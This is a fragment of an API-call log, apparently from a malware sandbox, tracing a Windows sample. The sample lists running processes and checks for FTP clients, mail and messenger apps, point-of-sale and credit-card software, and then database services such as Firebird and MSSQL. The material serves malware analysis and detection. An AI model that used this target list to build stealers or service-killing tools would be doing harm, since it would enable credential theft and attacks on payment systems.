(in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0105.641] lstrlenW (lpString="alftp.exe") returned 9 [0105.641] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0105.642] lstrlenW (lpString="barca.exe") returned 9 [0105.642] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0105.645] lstrlenW (lpString="bitkinex.exe") returned 12 [0105.645] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0105.646] lstrlenW (lpString="coreftp.exe") returned 11 [0105.646] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0105.647] lstrlenW (lpString="far.exe") returned 7 [0105.647] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0105.648] lstrlenW (lpString="filezilla.exe") returned 13 [0105.648] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0105.649] lstrlenW (lpString="flashfxp.exe") returned 12 [0105.649] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0105.769] lstrlenW (lpString="fling.exe") returned 9 [0105.770] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0105.771] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0105.771] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0105.772] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0105.772] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0105.773] lstrlenW (lpString="icq.exe") returned 7 [0105.773] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0105.774] lstrlenW (lpString="leechftp.exe") returned 12 [0105.774] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0105.775] lstrlenW (lpString="ncftp.exe") returned 9 [0105.776] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0105.777] lstrlenW (lpString="notepad.exe") returned 11 [0105.777] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0105.778] lstrlenW (lpString="operamail.exe") returned 13 [0105.778] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0105.779] lstrlenW (lpString="pidgin.exe") returned 10 [0105.779] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0105.780] lstrlenW (lpString="scriptftp.exe") returned 13 [0105.780] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0105.781] lstrlenW (lpString="skype.exe") returned 9 [0105.781] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0105.782] lstrlenW (lpString="smartftp.exe") returned 12 [0105.782] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0105.783] lstrlenW (lpString="thunderbird.exe") returned 15 [0105.783] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0105.785] lstrlenW (lpString="totalcmd.exe") returned 12 [0105.785] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0105.786] lstrlenW (lpString="trillian.exe") returned 12 [0105.786] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0105.787] lstrlenW (lpString="webdrive.exe") returned 12 [0105.787] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0105.788] lstrlenW (lpString="whatsapp.exe") returned 12 [0105.788] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0105.789] lstrlenW (lpString="winscp.exe") returned 10 [0105.789] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0105.790] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0105.790] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0105.791] lstrlenW (lpString="active-charge.exe") returned 17 [0105.791] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0105.792] lstrlenW (lpString="accupos.exe") returned 11 [0105.792] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0105.794] lstrlenW (lpString="afr38.exe") returned 9 [0105.794] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0105.795] lstrlenW (lpString="aldelo.exe") returned 10 [0105.795] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0105.796] lstrlenW (lpString="ccv_server.exe") returned 14 [0105.796] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0105.797] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0105.797] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0105.798] lstrlenW (lpString="creditservice.exe") returned 17 [0105.798] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0105.799] lstrlenW (lpString="edcsvr.exe") returned 10 [0105.799] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0105.800] lstrlenW (lpString="fpos.exe") returned 8 [0105.800] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0105.801] lstrlenW (lpString="isspos.exe") returned 10 [0105.801] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0105.802] lstrlenW (lpString="mxslipstream.exe") returned 16 [0105.802] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0105.803] lstrlenW (lpString="omnipos.exe") returned 11 [0105.803] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0105.804] lstrlenW (lpString="spcwin.exe") returned 10 [0105.804] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0105.805] lstrlenW (lpString="spgagentservice.exe") returned 19 [0105.805] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0105.806] lstrlenW (lpString="utg2.exe") returned 8 [0105.806] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0105.807] lstrlenW (lpString="controlling.exe") returned 15 [0105.807] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0105.808] lstrlenW (lpString="assess climate.exe") returned 18 [0105.808] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0105.809] lstrlenW (lpString="color_infection.exe") returned 19 [0105.809] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0105.810] lstrlenW (lpString="home.exe") returned 8 [0105.810] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0105.810] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0105.811] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.811] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0105.811] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.812] lstrlenW (lpString="svchost.exe") returned 11 [0105.812] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.813] lstrlenW (lpString="taskhostw.exe") returned 13 [0105.813] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0105.814] lstrlenW (lpString="UsoClient.exe") returned 13 [0105.814] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.815] lstrlenW (lpString="taskhostw.exe") returned 13 [0105.815] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.057] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0106.057] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.058] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0106.058] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0106.059] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0106.059] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.060] lstrlenW (lpString="conhost.exe") returned 11 [0106.060] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.061] lstrlenW (lpString="conhost.exe") returned 11 [0106.061] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.061] lstrlenW (lpString="svchost.exe") returned 11 [0106.061] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0106.062] lstrlenW (lpString="finbbp.exe") returned 10 [0106.062] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.063] lstrlenW (lpString="dllhost.exe") returned 11 [0106.063] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.064] lstrlenW (lpString="cmd.exe") returned 7 [0106.064] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.064] lstrlenW (lpString="conhost.exe") returned 11 [0106.065] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.066] lstrlenW (lpString="sppsvc.exe") returned 10 [0106.066] Process32NextW (in: hSnapshot=0x368, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0106.066] CloseHandle (hObject=0x368) returned 1 [0106.066] Sleep (dwMilliseconds=0x1f4) [0107.545] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ee7f0 [0107.547] EnumServicesStatusExW (in: hSCManager=0x4ee7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0107.549] GetLastError () returned 0xea [0107.549] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1d4a) returned 0x513428 [0107.549] EnumServicesStatusExW (in: hSCManager=0x4ee7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x513428, cbBufSize=0x1d4a, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x513428, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0107.550] CloseServiceHandle (hSCObject=0x4ee7f0) returned 1 [0107.551] lstrlenW (lpString="Appinfo") returned 7 [0107.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0107.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0107.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0107.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0107.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0107.552] lstrlenW (lpString="AppXSvc") returned 7 [0107.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0107.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0107.552] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0107.552] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0107.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0107.552] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0107.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.552] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0107.552] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0107.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0107.552] lstrlenW (lpString="Audiosrv") returned 8 [0107.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0107.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0107.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0107.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0107.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0107.552] lstrlenW (lpString="BFE") returned 3 [0107.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 